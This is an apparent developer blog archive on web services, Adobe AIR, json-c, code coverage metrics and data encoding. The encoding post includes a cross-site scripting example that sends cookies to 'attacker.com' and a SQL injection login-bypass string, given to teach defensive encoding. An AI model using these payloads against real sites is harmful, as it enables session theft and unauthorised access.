Archive for the ‘Development’ Category

Eat your own dogfood

Wednesday, July 2nd, 2008

Now we know why Laura is doing so well on the growth charts. - by booleansplitIf you’re developing a web service of any kind, eat your own dogfood. Build something using your web service. In fact, build many things using your web service. Do it early and often before you release your web service to the public. Find out what sucks about your web service, what’s broken and what’s simply downright inconvenient about your web service and then fix it. If you find you want to murder someone while using your own web service, imagine what your consumers will think of it.

All too often I find myself running into web services that are inconvenient to use from a developer standpoint. Often it’s because the people implementing the web service build whatever’s convenient for them. Spend some time building applications using your web service, make a list of the things that were harder than they should have been and then go fix them. Your users will thank you.

Photo by booleansplit

Code coverage != code quality

Sunday, April 20th, 2008

My current project has a new requirement that in order to be feature complete we must reach 80% code coverage with our unit tests. At first, this seems like a good idea. You want to ensure code quality. Unit tests can help with that. So you figure you’ll come up with a way of measuring how much of your code is being tested. Soon, however, deadlines get tighter and actual features need to be finished. The code coverage is short of the required 80%. So you take the following code:

   if(unreachable) {
      doTheUnreachable();
   }

   int codeCoverageRequired = 80;
   cout < < "Feature complete requires " << codeCoverageRequired << "% code coverage" << endl;

This code has 4 executable lines of code, only 3 of which are being executed. You’re only at 75% code coverage. So you make the following change:

   if(unreachable) {
      doTheUnreachable();
   }

   int codeCoverageRequired = 80;
   cout < < "Feature complete requires ";
   cout << codeCoverageRequired;
   cout << " % code coverage";
   cout << endl;

This code has 7 lines of executable code, 6 of which are being executed. Now you’re at 86% code coverage. You’ve boosted your code coverage numbers by 10% simply by adjusting some lines of code. The quality is no better, but your code coverage is higher.

You can also play games by under-reporting the total lines of code in your project. As it turns out, this is easier than you might think. The code coverage tool we’re using (gcov) appears to have an issue with not reporting the lines of code in files that don’t get tested at all.

By gaming the system you’re able to give management the warm, fuzzy feeling that the code quality is high when, in truth, the opposite may true. Even a high code coverage number without gaming the system doesn’t necessarily mean that the code quality is high. Take the following, for example:

   size_t function( void *ptr, size_t size, size_t nmemb, void *stream) {
      ((string*)stream).append(ptr, size * nmemb);
      return size * nmemb;
   }

   string requestUrl(string url) {
      static string buffer;

      CURL* ch = curl_easy_init();
      curl_easy_setopt(ch, CURLOPT_URL, "http://unclehulka.com/ryan/blog/");
      curl_easy_setopt(ch, CURLOPT_WRITEDATA, &buffer);
      curl_easy_setopt(ch, CURLOPT_WRITEFUNCTION, writehandle);
      curl_easy_perform(ch);
      curl_easy_cleanup(ch);

      return buffer;
   }

If you call requestUrl() from your unit test, you’ll end up with 100% code coverage, however this code is as buggy as it gets (see the ’static string’ declaration).

The lesson is if you want to ensure code quality, use something that actually measures code quality.

Important safety tips when handling json-c

Monday, March 10th, 2008

We’ve been using json-c internally for parsing and generating JSON in my new project. It’s a pretty nasty interface to work with, so I’ve been considering putting a prettier face on it for C++ developers. Today I sat down to do that. Instead, I spent many hours allowing json-c to repeatedly win games of roshambo.

It started out simply enough, a simple class to wrap the json_object:

#include <string>
#include <json/json_object.h>

class JsonObject {
    private:
        json_object* obj;
        JsonObject();

    public:
        static JsonObject parse(const std::string& json);
        ~JsonObject();
};

There wasn’t much to it at this point, but I had enough to set up my Makefile to check that everything compiled properly. Sadly…it did not. While the compilation step was successful, linking wasn’t so fortunate:

libjsonwrapper.so.1: undefined reference to `json_object_put(json_object*)’
libjsonwrapper.so.1: undefined reference to `json_tokener_parse(char*)’

I spent some time (and by some time I mean most of Sunday) futzing with the Makefile, making sure json-c was properly installed, compiling my own version of json-c, checking different hardware architectures and operating systems…all with no luck whatsoever. I even looked at some other code that we have that uses json-c, checking out the Makefile to see what that code was doing that I wasn’t.

At around 8:45pm I took a break and went for Sunday bowling (Homestead Lanes does a special on Sunday nights, it’s great…you should go sometime). When I got home, I dug back in. Still no dice.

So I went back to the other code we’d written that uses json-c and looked at some other things. Finally, I happened upon it:

#include <json/json.h>

It’s subtle, but including json.h instead of json_object.h makes all the difference in the world. At first I didn’t want to know why, I was just mad that it mattered at all. Obviously json.h is some aggregate header that keeps you from having to #include every little file you need. But clearly it’s also performing a little black magic along the way that does something to affect linking. Ready to lose my shit, I dug into the header:

#ifdef __cplusplus
extern "C" {
#endif

#include "bits.h"
#include "debug.h"
#include "linkhash.h"
#include "arraylist.h"
#include "json_util.h"
#include "json_object.h"
#include "json_tokener.h"

#ifdef __cplusplus
}
#endif

Whoomp there it is: extern “C”. If you include json.h it does the right thing and makes everything inside of json-c use C linkage when compiling C++. If you don’t include json.h and instead include one of the files that it includes…then nothing uses C linkage causing the linker to FAIL.

Thanks json-c for consuming a day of my life that I can never have back.

Get the source to my Yahoo! Mail Google Gadget

Monday, November 26th, 2007

After releasing my Yahoo! Mail Google Gadget available for people to check out, I had some people asking for the source. It seems they don’t trust me enough to run my gadget…they want to install their own. :)

In any case, the source is now available in zip and tar-gzip format. Have a go and if you manage to enhance it, drop me a line in the comments.

XMLHttpRequest::setRequestHeader()

Saturday, November 17th, 2007

I’ve been working on rewriting a bunch of Air Mail lately. Partly because pieces of it (the ones I wrote) aren’t very good but also because I’m using it as an opportunity to reacquaint myself with some more heavy-duty DHTML coding.

One of the things I’ve been focusing on is the concept of having one codebase that works as both a desktop application in Adobe AIR and as a browser-based application served from a web server. This effort is worthy of an entire post on its own, but there is one thing that has been a particular pain in the butt…cookies (this is a recurring theme in my life, it seems).

Air Mail uses the Yahoo! Mail Web Service, which requires cookies to be sent in the request for authentication. In JavaScript, one of your only mechanisms for making web service requests is to use XMLHttpRequest. The XMLHttpRequest object provides a method named setRequestHeader, which allows setting arbitrary headers on HTTP requests. This should, in theory, allow you to set the “Cookie” header.

Theory, however, is often not reality. While this happens to work in Adobe AIR and Firefox, this doesn’t work in Safari, Opera or Internet Explorer (at least not in the versions I tested). Reading the specification for XMLHttpRequest, I don’t see anything indicating that the “Cookie” header ought to be restricted. I can only guess that Safari, Opera and IE are either buggy or decided to take some liberties (possibly in the name of security) when implementing the specification. If you’re interested, I have a test page that shows this issue in action. The page loads and makes an XMLHttpRequest to a page that does just echoes back the cookies it sees. If it works, you should see a cookie named “thisisa” with a value of “test” show up. In my case, I see it in Firefox only.

In any case, this does cause some complications for Air Mail.

Adobe AIR is able to send requests directly to mail.yahooapis.com. The web-based applications, however, have to send requests to ymail.unclehulka.com (the same host the web page is served from) due to the same-site restrictions imposed by the browser sandbox. I have an endpoint running on ymail.unclehulka.com that receives those web service requests and proxies them to mail.yahooapis.com. The code is identical, the only difference is the URL that Air Mail hits.

I’ve managed to configure the URL to connect to for the different application versions using GNU M4, but the cookies have been another problem. I’ve been reluctant to make two separate code paths for the different environments, simply because I think the single codebase is the most compelling feature of Air Mail. At this point I’ll likely move the cookie header name to an M4 configuration template. The desktop Air Mail will use “Cookie” as the header name. The web-based Air Mail will use “X-Cookie” or some other header not named “Cookie”, so XMLHttpRequest doesn’t prevent it from being passed. Then the proxy on ymail.unclehulka.com can simply copy that header to the “Cookie” header before sending the request on to mail.yahooapis.com.

Update: As Steve pointed out in the comments, there is a way around this issue in Internet Explorer…simply call setRequestHeader() twice. As I pointed out in my comment, I’m using the YUI Connection Manager, so I don’t actually control the calls to setRequestHeader() in this case.

flickr postcard fixed

Saturday, October 20th, 2007

I never noticed, but someone at work reported that the flickr postcard stopped working. I finally looked into it yesterday and discovered that the Greasemonkey user script had ceased being able to locate the photo element. Evidently the flickr team must have updated the HTML. It doesn’t look like it changed in any visible way, but the Greasemonkey script definitely noticed.

Anyway, I’ve fixed the userscript and you can download it from the flickr postcard page.

Adobe AIR, taking the Browser out of Browser-Based Auth

Tuesday, October 16th, 2007

After my last post about Adobe, everyone probably thinks I hate Adobe. That’s not true at all, I simply had a less than favorable experience porting my application from Adobe AIR Beta 1 to Beta 2.

Just to show that there are no hard feelings, I spent a few hours tonight distilling the authentication bits from Air Mail into something that stands alone. Air Mail uses the Yahoo! Mail Web Service to speak to the Yahoo! Mail backend. As a result, it uses Yahoo! Browser-Based Authentication (BBAuth) to handle user identification. BBAuth, as the name implies, was built to be used within the confines of a browser. That doesn’t mean you can’t build desktop applications, however. You simply need to get the user to use a browser long enough to sign in to Yahoo!.

There are a few ways of doing this, but I think I’ve settled on the one that I like the best. Using flash.net.navigateToURL(), your Adobe AIR application can spawn a browser window using whatever the user selected as the default browser. This allows you to direct the user to the appropriate Yahoo! login page (I send the user to a page on my server that redirects them to the properly formed BBAuth sign-in URL).

Once the user is done logging in, the fun begins. They’re directed back to your web site with an authentication token in the query string. With that token, you can send a request to the BBAuth servers to fetch user credentials. Those credentials can be used to make authenticated web services requests. The problem is, you want to make web services requests directly from the AIR application, not proxied through your web server. Somehow you need to transfer the credentials from the browser to the running AIR application.

Fortunately, there is a solution…flash.net.LocalConnection. The LocalConnection class allows any running Flash movie to talk to another running Flash movie. This includes Flash movies running in the browser and Flash movies running in Adobe AIR. Simply set up a LocalConnection between the two and pass the BBAuth credentials via a method call.

I’ve glossed over this pretty quickly. If you want to know more, I’ve built a sample application that demonstrates BBAuth in Adobe AIR. You can install the sample Adobe AIR application and then go through the process of authentication. If you’re still hungry for more, download the Creative Commons licensed source code in tgz or zip format and play with it yourself.

Next time I’ll show you how to call the Yahoo! Mail Web Service from Adobe AIR now that you have credentials.

Dear Adobe…get your shit together

Sunday, October 14th, 2007

While I was at Adobe MAX the other week, Adobe released Adobe AIR Beta 2. That sounds like great news, unless you happened to have written an application using Adobe AIR Beta 1.

See…Adobe completely laid dynamite to the AJAX security model between AIR Beta 1 and AIR Beta 2. While I can respect wanting to get the security model right, that seems like the kind of thing you want to be getting right early. Making major changes to fix the security model during the Beta stage doesn’t give you that warm and fuzzy feeling. Additionally, it’s irritating when you have to rewrite whole portions of your application to cope with this fresh security model.

Not content with making non-backwards compatible changes to the security model, Adobe took it a step further by making non-compatible changes to the ActionScript library as well. I had to discover this one the hard way. Air Mail uses File.applicationStorageDirectory to drop session files into user-specific application directories. In order to find the path to such a directory, Air Mail called the File.resolve() method. After upgrading to the latest Flex SDK Beta (that goes with the latest AIR Beta), my app stopped compiling saying there was no such method.

I returned to the documentation for File.resolve(), saw that the method was clearly present and marked “public” and proceeded to: a) scratch my head, b) mutter obscenities, c) call Miss Cleo or d) all of the above. This went on for a while.

Through some miracle, I managed to invoke a web search that pointed me to the real answer…File.resolvePath(). But…that’s odd. If I check the list of methods available on the File object, there’s no File.resolve(). What gives? On closer inspection, enlightenment strikes me like an anvil:

File.resolve(): http://livedocs.adobe.com/labs/flex/3/langref/flash/filesystem/File.html#resolve()

File.resolvePath(): http://livedocs.adobe.com/labs/flex3/langref/flash/filesystem/File.html#resolvePath()

Did you catch it? The ever so subtle “haha, you’re fucked” in the URL? No? Here…let me get out my magnifying glass:

File.resolve(): labs/flex/3

File.resolvePath(): labs/flex3

Evidently, when Beta 2 was released they published the documentation to a different, yet very similar URL. Since I had the language reference bookmarked…I was still visiting the “old” language reference. Also…when they went from Beta 1 to Beta 2 they renamed File.resolve() to File.resolvePath(). While it’s nice that Adobe wanted to make the method name more specific, I’m lost as to why they would want to change a method name right in the middle of the Beta program. Seems like a pretty Alpha move to me.

Adobe…get your shit together. When you release public APIs…they’re out. You don’t get to push the magic “recall” button anytime you like with a public API, not even during your Beta period. Not when you’re encouraging companies to build products with your software. When you release HTML documentation, expect it to be bookmarked. Either clearly label the old documentation as being “Beta 1 Only” or take it down. Don’t leave it under a URL that looks almost indistinguishable from the new documentation.

Yahoo! Mail Google Gadget

Thursday, October 4th, 2007

Someone at work mentioned that their friend left Yahoo! Mail to switch to Gmail because Gmail has an iGoogle gadget. I think this is a pretty lame reason to choose one webmail over another, since the presence of a gadget/widget doesn’t make the webmail any better…but I digress.

At first I offered to lend my copious expertise with the Yahoo! Mail Web Service to anyone who wished to build a Yahoo! Mail gadget themselves. Then I realized, who’s better qualified to give it a go than me? So I wrote a Yahoo! Mail Google Gadget. Gadgets are funny things…building a gadget is a little awkward. I’m guessing a lot of that had to do with trying to get Yahoo! Browser Based Authentication working with it (I still can’t believe it works as well as it does).

Speaking of BBAuth, I think my gadget is the only Yahoo! Mail gadget that doesn’t either iframe in the mobile version of Yahoo! Mail or ask you directly for your username and password. When you log in, I open a separate window (that closes itself later) and send you to Yahoo! to log in. No screen scraping or other wonkiness involved (ahem…Facebook, Plaxo and all you other pricks).

Anyway, if you happen to be an iGoogle or Google Desktop (or whatever other Google product you can think of that will let you embed a gadget) user and want to be able to preview some of your Yahoo! Mail there, head on over and install my gadget.

Feel free to leave bug reports in the comments. I haven’t kicked the tires extensively.

Dropping knowledge at Adobe MAX

Monday, September 17th, 2007

My speaking duties for my current job have been limited to the Sunnyvale and London Yahoo! Open Hack Days. Now I’ve been invited to speak at Adobe MAX in Chicago on October 1st and 2nd. This is pretty huge, I’ve never presented at a big conference like this before. I’m equal parts terrified and excited, so it should be a lot of fun. ;)

I’ll be presenting Air Mail, a desktop mail application written using the Adobe Integrated Runtime (AIR), the Yahoo! Mail Web Service, the Yahoo! User Interface Library (YUI) and Yahoo! Browser Based Authentication (BBAuth). I wasn’t alone in writing Air Mail, Dav Glass was my co-conspirator. We wrote it over the course of 24 hours (although each of us only coded for about 12 hours each) during one of our internal hack days at Yahoo!. The photo at the right (courtesy of fellow Yahoo! Jeremy Johnstone) was taken during hack day in the tent where Dav and I presented Air Mail. Dav, unfortunately, won’t make it to MAX with me. That’s too bad because Dav has all of the YUI bits covered (since he works on YUI as his day job), so he’s really the best man to talk about the YUI bits of Air Mail.

The talk will be a bit of a case study on how we built Air Mail. I don’t have slides worked out just yet, but I’ve been thinking in my head about the things that would be good to go over. In particular:

  • Getting BBAuth working in Adobe AIR. It’s not impossible, but it wasn’t easy, either.
  • YUI and Adobe AIR. Most stuff works, but not everything. I’ll have to get more specific details from Dav.
  • Problems with Adobe AIR. While AIR is a nice platform to build on, it does have some rather annoying problems. Some of them you can’t avoid as an application developer.

I’m sure more will come to mind as I start on the slides (probably this weekend). If you have suggestions, I’m all ears.

We’re planning on getting Air Mail put up where people can install and play with it. Additionally, I’m working this week to get permission to distribute the source code so people can crack it open and hack on it. Unfortunately, since we did this on Yahoo! time during hack day, Air Mail technically belongs to Yahoo!. As it turns out, it’s harder than you’d think getting the stars to align so you can turn your hack day creation loose.

If you’re going to be at MAX, my talk is scheduled for 2-3pm on Monday (10/1). In addition, we’ve been scheduled to hang out at AIR Park from 10-1pm and 4-7pm on Monday (10/1), 4-7pm on Tuesday (10/2) and 10-1pm on Wednesday (10/3). If you can’t make either of my talks, swing by AIR Park and I can give you the improv version.

Update: Turns out I’ll only be doing the one speaking session after all (Monday from 2-3pm). I’ve changed the post accordingly.

JAX-WS code samples for the Yahoo! Mail Web Service

Tuesday, September 11th, 2007

Even though I’ve moved off of Yahoo! Mail, I still cuddle and care for the Yahoo! Mail Web Service. Back when I was still on the web service team, I built code samples for Java and .NET. In the process of writing those code samples, I was able to kick around a fair number of SOAP toolkits. In the end, Java ended up having only Axis2 samples because it was the only toolkit I could get working with our WSDL.

Recently, Yahoo!’s own Sam Pullara figured out how to get things working with JAX-WS. This is significant because JAX-WS seems to be held in higher esteem with many Java developers. At least it seems that way since I have a handful of hate mail from JAX-WS users. I took Sam’s code and instructions and used it to port my Axis2 code sample to JAX-WS, the results of which have now been posted on the Yahoo! Developer Network.

Now that I’ve used both Axis2 and JAX-WS, it’s pretty clear why JAX-WS seems to be more popular. The bindings it generates are considerably cleaner than those generated by Axis2. For those unfamiliar with Axis2 and JAX-WS, each of them generates Java code from the WSDL that allows you to treat the web service as though it were a local object. Axis2 likes to generate classes with numbers in the names and is, in general, incredibly verbose. That being said, it’s mappings of WSDL to object are quite literal. If you understand the WSDL, then the code bindings it creates will be pretty clear to you (as long as you can figure out what number to append to the classnames). This verbosity leads to a lot more code when you want to use it. You end up instantiating a lot of objects setting up the request and you traverse a lot of objects dealing with the response.

JAX-WS, in contrast, generates bindings that look a bit more normal. Whereas Axis2 generates service methods that take a single, object, parameter…JAX-WS is able to generate service methods that take a list of parameters because it understands that the Yahoo! Mail Web Service uses document-literal wrapped SOAP methods. However, just because JAX-WS thinks it knows what it’s doing, in many cases that only gets it into trouble. Despite the fact that the methods are crafted uniformly in the WSDL, JAX-WS generates entirely different semantics for similar methods. One method may take a list of input parameters and return an array of strings. Another method may take a list of input parameters and return an object. Another method may take a single object parameter and return an object or an array of strings. Finally, my personal favorite, a method may take a list of in/out parameters and have a void return. Even though some methods look more like what you’d expect to see in a Java API, others are so off the wall that they could only be the result of AI gone wrong or the most misguided engineer ever devising your interfaces.

Either way, Java works pretty well with the Yahoo! Mail Web Service. The only thing I haven’t gotten working is the BatchExecute method, although I haven’t tested it with JAX-WS.

Update: I’ll be damned…BatchExecute DOES work with JAX-WS. That’s reason enough to use it over Axis2. Code sample below:

Update 2: After having my balls busted by someone, I’ve gone through and replaced my “quaint” collection iteration code (the “for” loops) with more up to date Java semantics.

    // BatchExecute, execute multiple methods at once.
    List<BatchCall> calls = new ArrayList<BatchCall>();

    // Set up the batched call to ListFolders.
    BatchCall listFoldersBatchCall = new BatchCall();
    listFoldersBatchCall.setId("listFolders");
    listFoldersBatchCall.setListFolders(new ListFolders());
    listFoldersBatchCall.getListFolders().setResetMessengerUnseen(false);
    calls.add(listFoldersBatchCall);

    // Set up the batched call to ListMessages.
    BatchCall listMessagesBatchCall = new BatchCall();
    listMessagesBatchCall.setId("listMessages");
    listMessagesBatchCall.setListMessages(new ListMessages());
    listMessagesBatchCall.getListMessages().setFid("Inbox");
    listMessagesBatchCall.getListMessages().setStartInfo(BigInteger.ZERO);
    listMessagesBatchCall.getListMessages().setNumInfo(new BigInteger("10"));
    calls.add(listMessagesBatchCall);

    // Call BatchExecute.
    List<BatchResponse> batchResponse = stub.batchExecute(calls);

    // ListFolders is the first response in the batch.
    ListFoldersResponse listFoldersBatchResponse = batchResponse.get(0).getListFoldersResponse();
    System.out.println("Batched ListFolders response:");
    for (FolderData folderData : listFoldersBatchResponse.getFolder()) {
        System.out.println("    " + folderData.getFolderInfo().getName() + " (" + folderData.getUnread() + ")");
    }
    System.out.println();

    // ListMessages is the second response in the batch.
    ListMessagesResponse listMessagesBatchResponse = batchResponse.get(1).getListMessagesResponse();
    System.out.println("Batched ListMessages response:");
    for (MessageInfo messageInfo : listMessagesBatchResponse.getMessageInfo()) {
        System.out.println("    " + messageInfo.getSubject());
    }

Encodings gone wild

Thursday, August 23rd, 2007

I seem to run into this at every job I’ve had, so perhaps it’s time to drop some knowledge on a more global scale. It seems that many people don’t realize that when they put data (especially when provided by users) into different contexts, that data almost always needs to be encoded. There are very few exceptions. The consequences of not doing so range from improperly formed data (XML) to downright nasty security vulnerabilities (HTML and SQL). Here are just a few instances of places where you need to ensure that data is properly encoded.

URLs

As someone working on web services, this encoding issue comes up more often than most. URLs are delicate things. There are rules governing URLs that most people don’t seem to grasp. Chief among them is that you must URL encode everything that goes into a URL. This is most prevalent in the query string. If your data contains characters such as “&”, “?” or “=”…you’re screwed if you let that through. Imagine if you wanted to set the query parameter “foo” to “bar&baz=jimmy”. If you dump that in raw, you get the following:

?foo=bar&baz=jimmy

Instead of a single “foo” parameter, you’ve ended up with a “foo” and a “baz” parameter. Even worse, the “foo” parameter is set to “bar” which isn’t what was intended. URL encoding the parameter first gives you what you were looking for the first time around:

?foo=bar%26baz%3Djimmy

Bear in mind, it isn’t enough to URL encode just the value. The parameter name must be URL encoded as well.

HTML and XML

HTML and XML have similar issues (for the most part), so I’m lumping them together here. This is one of the more commonly understood encoding issues around because almost everybody has thrown an unencoded “< ” into their HTML/XML at some point. The result, if you’re lucky, is a useful error message from your browser/XML parser telling you where that little bastard is. If you’re unlucky, it turns into a silent failure or it monkeys with the content in a way that is subtle and difficult to detect.

In the worst cases, you inline HTML/XML content into actual HTML/XML, making it impossible for a parser to tell that anything is wrong. Imagine, in both cases, that you have some plain text content to include in your file that looks like this:

<div>foo!</div>

The parsers will simply treat that content as another DOM node. If you’re fortunate, your XML specifies some form of schema that would indicate the document is invalid…but I wouldn’t count on it.

The example I just gave is pretty benign and unlikely to cause you any serious harm. But in HTML there are far worse dangers possible. Imagine if you were to inadvertently inline the following content:

<script>document.write(”<img src=’http://attacker.com/capturecookies.php?cookies=’ + escape(document.cookie) + “/>”);</script>

I think I did that right, but even if I didn’t, you get the idea. That content must be HTML encoded (or XML encoded) in order to diffuse what may be a devastating cross site scripting attack (sending your authentication cookies to a foreign domain). Alternatively, if you’re expecting HTML content, you need to scrub it…but that’s another topic. The point is, if you’re putting plain text into HTML or XML…encode it.

SQL

SQL injection attacks are one of the oldest attacks around. Imagine you have a login form that takes a username and a password. Behind the scenes you have the following SQL code:

execute_sql(”select * from users where username=’$username’ and password=’$password’);

What happens when I type in a username of “ryan” and a password of “‘ or password like ‘%”? Let’s do the substitution:

execute_sql(”select * from users where username=’ryan’ and password=” or password like ‘%’);

I may not have that SQL exactly right, but (again) you get the gist of what’s happening. If you allow this, you’ve just made it possible for someone to log in as any user without having the password. This actually happened at a company I used to work at. Fortunately we discovered the exploit internally. The solution is to SQL encode the parameters. There are usually different ways of doing this. I’ve seen some libraries that provide methods to encode strings for you. In most cases, however, database libraries provide prepared statements that will accomplish the same thing.

JavaScript

The reason I decided to write this was seeing Gopal’s post dealing with encoding strings in JavaScript. Gopal highlights an XSS caused by not escaping a forward slash. He goes on to mention that JSON encoders may escape them, but don’t necessarily do so. The issue here is that JavaScript inside of HTML is not JSON. While JSON may escape the forward slash, JavaScript must escape the forward slash. In this case, JSON encoding is the wrong solution to the problem. It’s close, but not quite the right answer. It would be like using an HTML encoder to encode XML. While it may work in certain cases and it’s very close to the right answer, it’s still wrong. Use the right encoder for the context. If you’re encoding data in XML, use an XML encoder. If you’re encoding data in JavaScript, use a JavaScript encoder.

Flex 2 isn’t bad

Sunday, June 3rd, 2007

I’ve been playing with Flex and Apollo this weekend, trying to put together a sample application for my upcoming talk at the London Open Hack Day. Previously I had been using the DHTML capabilities in Apollo to tinker with the platform, but there are some things that seem to be easier to access from Flex (the HTML control, for example). Plus, everybody likes learning something new…right?

Flex is an interesting platform. You’ve got an XML templating language backed by ActionScript (close relative to JavaScript). Basically, you’ve got Adobe XUL as far as I can tell. The objects available are a little different, but the gist of it is the same. I have no idea how the performance characteristics of the two compare, so I can’t really speak to that. But for the most part, developing in Flex has been pain free. I’ve had a couple of issues tracking down documentation for some ActionScript classes. The set of documentation that came with the Flex/Apollo SDKs was missing information on some classes that I later found in the online documentation (the mx.rpc.http.HTTPService, for instance). Also, I wouldn’t have expected to look under an RPC package to locate the class I need to use to make HTTP calls, so that took a bit of searching to track down.

Now that I’ve got some of the initial investigation taken care of, my rough plan is to get an Apollo Flex application working in time for my talk. I already had a bunch of PHP sample applications, which is nice to have. But it’ll be cool to have something new up my sleeve, especially if I can satisfy some of the desktop developers.

Labels and IMAP are incompatible (right?)

Monday, April 23rd, 2007

It’s not exactly part 2 of my previous post on labels in Gmail, but I’m going to follow up a bit. We’ve already seen people asking Gmail to add an organization system for their organization system. But they’re also asking for IMAP (don’t feel bad Gmail, they ask Yahoo! Mail for it too). If you look under “Helpful Additions” on the Gmail Suggestions page, you’ll see a checkbox for “IMAP access”.

At first it seems like a reasonable suggestion. Even Om Malik agrees, saying “I for one would love to see IMAP support on GMail.” But think about it. Why did IMAP come to be when POP was already available? There’s several reasons. POP doesn’t have a good client/server synchronization story, POP can’t write to the mailbox (meaning you can’t save drafts back to the server) and so on. But the biggest reason IMAP came to be was folders…the technology obsoleted (at least according to everyone who swears loyalty to Gmail) by Gmail’s labels.

How would you implement labels in IMAP? Would each label be a folder? Given my labeling technique in del.icio.us, I’d have a few hundred folders, many of which would have names very close to one another (imagine “bill” and “bills”). Would you just drop labels and stick to Gmail’s “folders” (”Inbox”, “Sent Mail”, “Drafts”, “Spam” and “Trash”)? It seems unlikely. Now that Yahoo! Mail has gone unlimited storage, labels are really the only platform feature that distinguishes Gmail from the competition. How would you label new mail in your Inbox? IMAP isn’t going to allow you to move a message to multiple folders, so you can really only apply one label to a message through IMAP (I suppose if you’re savvy enough you could do it at the protocol level, but no IMAP client is going to let you do it). It really seems that any Gmail user who wants IMAP access is willing to trade labels for offline access and/or the ability to use an interface other than Gmail.

Maybe I’m perceiving this all wrong, so I’ll put some questions to the pro IMAP Gmail crowd. Are you a Gmail user who wants IMAP? If so…why? How would you want labels to be handled in an IMAP implementation? Would you use a Gmail IMAP service if it didn’t include the labeling functionality?

Update: Ken has pointed out that Thunderbird uses IMAP custom flags to implement message labels. Obviously Thunderbird is probably the only client to support that at this time, but you could imagine other clients following suit. So maybe labels and IMAP aren’t so incompatible after all and you don’t have to resort to some ugly folder < -> label mapping.

You still think labels are all that?

Friday, April 13th, 2007

Several people noticed a suggestion site for Gmail. First, I love it. It’s great to see big companies soliciting user feedback on features and then implementing them (see the sidebar on that page for a list of implemented suggestions).

But I saw something that made me laugh. CyberNet News posted about the suggestion site.

A label hierarchy system would be really great because it would allow me to group similar labels, and this is something that I’ve wanted for a long time. I like having the labels instead of just folders because I can easily apply multiple labels to some messages, but my list of labels is getting too long and I need an easier way to keep my labels organized.

Let me get this straight, your organization system…needs an organization system? I thought labels were supposed to make things easier to find. Now you need labels just to find your labels.

JSON-RPC vs. SOAP

Saturday, March 31st, 2007

Well, now that we’ve released the Yahoo! Mail Web Service, I suppose we have some explaining to do. In particular, I’d love to talk from time to time about the choices we made, why we made them, things we’ve learned and so on. For this first installment, I figured I’d do a discussion of our two endpoints: SOAP and JSON-RPC.

SOAP
I’m sure most of you will have your opinions of SOAP. Be that as it may, some people actually like it. You can’t deny that certain languages make it dead easy to consume SOAP web services. You feed it your WSDL and it poops out a wad of code for you to call the service as though it were a local call. If only it were that easy. In the end, you may end up dealing with some interoperability problems. During Open Hack Day, we made v1 of the web service available to users. When we released on Wednesday, we were at v1.1. Why? Because we discovered an interoperability issue in the WSDL that made it basically impossible to consume the WSDL using Visual Studio .NET or Axis2. In fixing it, the XML generated by the service was tweaked just enough that it was no longer compatible with the v1 output.

So, while SOAP is supposed to make your life easy, it’s not perfect.

JSON-RPC
We added SOAP first because we had to get Oddpost up and running on the Yahoo! Mail backend. Oddpost ran using SOAP, so we figured the fastest way to get them up and running was to come as close as possible to duplicating the existing service. Once we got rolling however, we realized that it wouldn’t be difficult to add new endpoint types as long as they were close enough in behavior to SOAP that we could map things easily.

JSON-RPC isn’t all that widely used, but it’s semantics are similar enough to SOAP that it was viable. JSON-RPC is a JSON object consisting of three properties: a method name, a list of parameters and an (optional) ID. Maps pretty well with the WSDL. In addition, browsers love to consume it. A single method call (to either eval() or a strict JSON parser) and you can turn the string into a native JavaScript Object. Handy. No more futzing with the cumbersome DOM.

But beyond simplicity, JSON-RPC has another benefit. A benefit that becomes much more evident when you have to scale to a quarter of a billion users: efficiency. It may seem clear to some that parsing/generating JSON is more efficient than XML, but here’s some numbers that make things a little clearer.

Method Name JSON-RPC Size SOAP Size % Difference
ListFolders 929 bytes 1,189 bytes +28%
GetMessage 9,926 bytes 10,339 bytes +4%
ListMessages 35,401 bytes 38,102 bytes +7%

JSON-RPC always beats SOAP, in the case of ListFolders (a very frequently called method) it beats SOAP pretty badly. Even in the other cases where the payloads are larger and SOAP overcomes the penalty of having to transmit an envelope and namespaces, JSON-RPC still beats it by a decent margin (especially if you’re looking at things from the context of the server where we’re serving requests for the quarter of a billion users mentioned earlier).

Say each user makes one request in a given day to each of the 3 methods mentioned above. The total combined difference between JSON-RPC and SOAP for a single user is only 3,374 bytes. Extend that out to a quarter of a billion users and you’re now talking 785 gigabytes. That’s close to a terabyte of data transfer saved doing nothing more than choosing a more efficient object encoding. Of course, it’s not entirely accurate because I haven’t accounted for HTTP compression, but you get the idea.

Set aside the network cost and also consider the parsing cost. In most cases you’re going to hold those bytes in memory while you’re parsing them or you’ll buffer them in memory after rendering them. More bytes in the object representation means more bytes in local memory that you’ll suck down just in handling the serialized objects.

Yet another JSON and XML post (I’ll skip the versus)

Thursday, January 4th, 2007

It all started with Dave Winer, well, that’s where it started for me anyway. Personally, I couldn’t believe Dave’s statement “IT’S NOT EVEN XML“. I’m pretty sure someone will make a t-shirt with that quote on it, if they haven’t already. On the unintentional comedy scale, that one went to 11. Of course JSON isn’t XML…that’s why it isn’t called XML (or anything-ML for that matter).

Then Dave had a followup post. Once again, another statement I couldn’t believe:

So JSON isn’t evil. It’s just the internal object serialization format for JavaScript. No problem. But using it as a basis for interop, when there were already good ways to achieve interop is evil, imho.

Evil? The argument that JSON as an interop format is evil because XML did it first is ludicrous. It’s like saying that C++ is evil because C was just fine and dandy at writing programs. Or that XML-RPC is evil because CORBA did interop earlier. It’s not evil, it’s just different.

In the end, two things matter:

  • The data being transfered. I don’t mean the physical bytes traveling across the wire. I’m talking about the actual information being conveyed. Whether I say <response>1</response> or {”response”: 1}, the information is identical. What matters most is that your clients get the information they need no matter which of those formats your clients prefer or require.
  • The limitations and/or preferences of the client. If your client is a web browser and you have to make a cross-domain call, you can be sure it won’t be XML. Why? Because it can’t be done. JSON, on the other hand, has a loophole it can sneak through to make cross-domain requests in the browser.

On the upcoming Yahoo! Mail Web Service, we don’t pretend to know what works best for our clients. That’s why we built in a special luxury: choice. If you like XML, we have a SOAP endpoint that you can talk to. If you like JSON, we have a JSON-RPC endpoint you can talk to. Whichever one you choose to use, the APIs are identical, from the method names down to the datatypes passed. Even the code under the hood is identical. The only difference is the encoding of the information on the wire.

If you’re interested in reading more about the JSON/XML debates, Dare Obasanjo has a post that aggregates a few of them.

How not to do web services

Monday, January 1st, 2007

Google’s being bit over how some of their web services work. It seems as long as you’re logged into your Gmail account, any web site can use a script tag to access your personal information (in this case, your address book). This is, to put it mildly, not good. It’s one thing to be able to use a script tag to access anonymous information, like a map. It’s entirely different when you can use it to access personal information without the consent of that user.

